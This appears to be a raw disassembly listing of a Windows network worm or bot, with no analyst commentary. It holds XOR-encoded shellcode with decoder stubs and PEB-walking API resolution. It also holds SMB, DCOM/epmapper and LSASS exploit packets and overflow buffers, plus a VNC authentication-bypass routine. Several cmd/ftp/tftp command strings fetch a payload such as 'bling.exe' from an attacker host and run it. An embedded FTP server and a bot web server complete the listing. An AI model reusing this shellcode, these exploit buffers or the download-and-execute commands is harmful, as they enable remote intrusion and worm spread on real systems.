		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_432325:				; CODE XREF: sub_432308+38j
		jecxz	short loc_432355
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432330:				; CODE XREF: sub_432308+32j
		lodsb
		test	al, al
		jz	short loc_43233C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432330
; ---------------------------------------------------------------------------


loc_43233C:				; CODE XREF: sub_432308+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_432325
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_432355:				; CODE XREF: sub_432308:loc_432325j
		mov	[esp+arg_0], ebx
		retn
sub_432308	endp


; =============== S U B	R O U T	I N E =======================================



sub_43235A	proc near		; CODE XREF: sub_432308+7p

; FUNCTION CHUNK AT 00432392 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_432373
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_43237E
; ---------------------------------------------------------------------------


loc_432373:				; CODE XREF: sub_43235A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_43237E:				; CODE XREF: sub_43235A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_432392
sub_43235A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432385	proc near		; CODE XREF: sub_43235A:loc_432392p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_432385	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43235A


loc_432392:				; CODE XREF: sub_43235A+29j
		call	sub_432385


loc_432397:				; DATA XREF: sub_40CD9E+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_43235A
; ---------------------------------------------------------------------------
		dw 0
dword_43239C	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323A8	dd 30h			; DATA XREF: sub_40CD9E+2CAo
dword_4323AC	dd 0A1h			; DATA XREF: sub_40CD9E+29Fo
dword_4323B0	dd 3			; DATA XREF: sub_40CD9E+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CD9E+153o
		align 4


loc_4323BC:				; DATA XREF: sub_40CD9E+E8o
		jmp	short near ptr dword_4323C4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4323C4	dd 0			; CODE XREF: ___:loc_4323BCj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D5F4o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 4
dword_43242C	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: ___:0040E02Do
					; ___:0040E167o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432478	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40DCF9+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4327DC	dd 20h,	0		; DATA XREF: sub_40DCF9+136o
		dd 20h,	5C005Ch, 0
off_4327F0	dd offset aLaing	; DATA XREF: sub_40DCF9+15Do
					; "Laing"
		dd offset loc_5C0020+4
a12345611111111:
		unicode	0, <123456111111111111111.doc>,0
		align 10h
dword_432830	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_432864	dd offset loc_580044+2	; DATA XREF: sub_40DCF9+45o
		dd offset loc_42004C+2
		dd offset loc_580044+2
		dd offset loc_580044+2
		dd offset loc_42004C+2
		dd offset loc_580044+2
		dd offset loc_580044+2
		dd offset loc_580044+2
		dd offset loc_580044+2
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_432940	dd 10016C6h		; DATA XREF: sub_40DCF9+104o
dword_432944	dd 100139Dh		; DATA XREF: sub_40DCF9+FBo
off_432948	dd offset loc_5C005C	; DATA XREF: sub_40DB5E+1Co
					; sub_40DC41+16o
		align 10h
off_432950	dd offset dword_49005C	; DATA XREF: sub_40DB5E+Co
					; sub_40DC41+Bo
		dd offset aLallemant	; "Lallemant"
		dd 24h
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o
					; ___:0040E99Eo ...
		align 4
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do
		align 4
		jmp	short loc_4329CA

; =============== S U B	R O U T	I N E =======================================



sub_4329BA	proc far		; CODE XREF: sub_4329BA:loc_4329CAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4329C2:				; CODE XREF: sub_4329BA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4329C2
		jmp	short loc_4329CF
; ---------------------------------------------------------------------------


loc_4329CA:				; CODE XREF: ___:004329B8j
		call	near ptr sub_4329BA


loc_4329CF:				; CODE XREF: sub_4329BA+Ej
		jo	short loc_432A33
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_432A51
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_432A33:				; CODE XREF: sub_4329BA:loc_4329CFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_432A51:				; CODE XREF: sub_4329BA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_4329BA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_432AF8:				; DATA XREF: sub_40E3F1+156o
					; sub_40E3F1+212o
		jmp	short loc_432B0A

; =============== S U B	R O U T	I N E =======================================



sub_432AFA	proc near		; CODE XREF: sub_432AFA:loc_432B0Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_432B02:				; CODE XREF: sub_432AFA+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_432B02
		jmp	short loc_432B0F
; ---------------------------------------------------------------------------


loc_432B0A:				; CODE XREF: ___:loc_432AF8j
		call	sub_432AFA


loc_432B0F:				; CODE XREF: sub_432AFA+Ej
		jo	short near ptr dword_432A88+1Eh
		cwde
		cdq
		cdq
		retn
sub_432AFA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_432BA8	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40E3F1+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C90	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040E8A6o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432D1C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8D2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_432DC8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8F9o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_432EA8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40E3F1+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_432F0C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_432F78	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43301C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_43309C	dd offset loc_401495	; DATA XREF: sub_40E3F1+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_433130	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_43319C	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433210	dd 0			; DATA XREF: sub_40E3F1+35Fo
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 2	dup(0)
word_433298	dw 0AD9Dh		; DATA XREF: sub_40E292+30r
					; sub_40E3F1+E7r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_4332D8	dd 1004600h		; DATA XREF: sub_40E3F1+140r
					; sub_40E3F1+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_40E292+BCo
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
; ---------------------------------------------------------------------------


loc_433410:				; DATA XREF: sub_40E3F1+177o
		jmp	short loc_433418
; ---------------------------------------------------------------------------
		jmp	short loc_43341A
; ---------------------------------------------------------------------------
		align 8


loc_433418:				; CODE XREF: ___:loc_433410j
					; DATA XREF: sub_40E3F1+27o
		pop	esp
		pop	esp


loc_43341A:				; CODE XREF: ___:00433412j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_433424	dd 1CEC8166h		; DATA XREF: sub_40E3F1+Dr
dword_433428	dd 0E4FF07h		; DATA XREF: sub_40E3F1+16r
dword_43342C	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E9FB+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o
		align 4
word_4346E4	dw 1			; DATA XREF: ___:0040EC29r
					; sub_41B55B+24r ...
		align 4
dword_4346E8	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_41A1B1+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
		dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
		dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
		dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h
		dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h
		dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh
		dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 4
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0
		align 10h
aList_0		db 'LIST',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:004387F0o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:004387FCo
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_2		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4349CC	db  2Dh	; -		; DATA XREF: sub_40FAD6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_4349F4	db 0Dh,0Ah,0		; DATA XREF: sub_40FAD6+2CFo
					; sub_41AA1E+F5o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FAD6+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
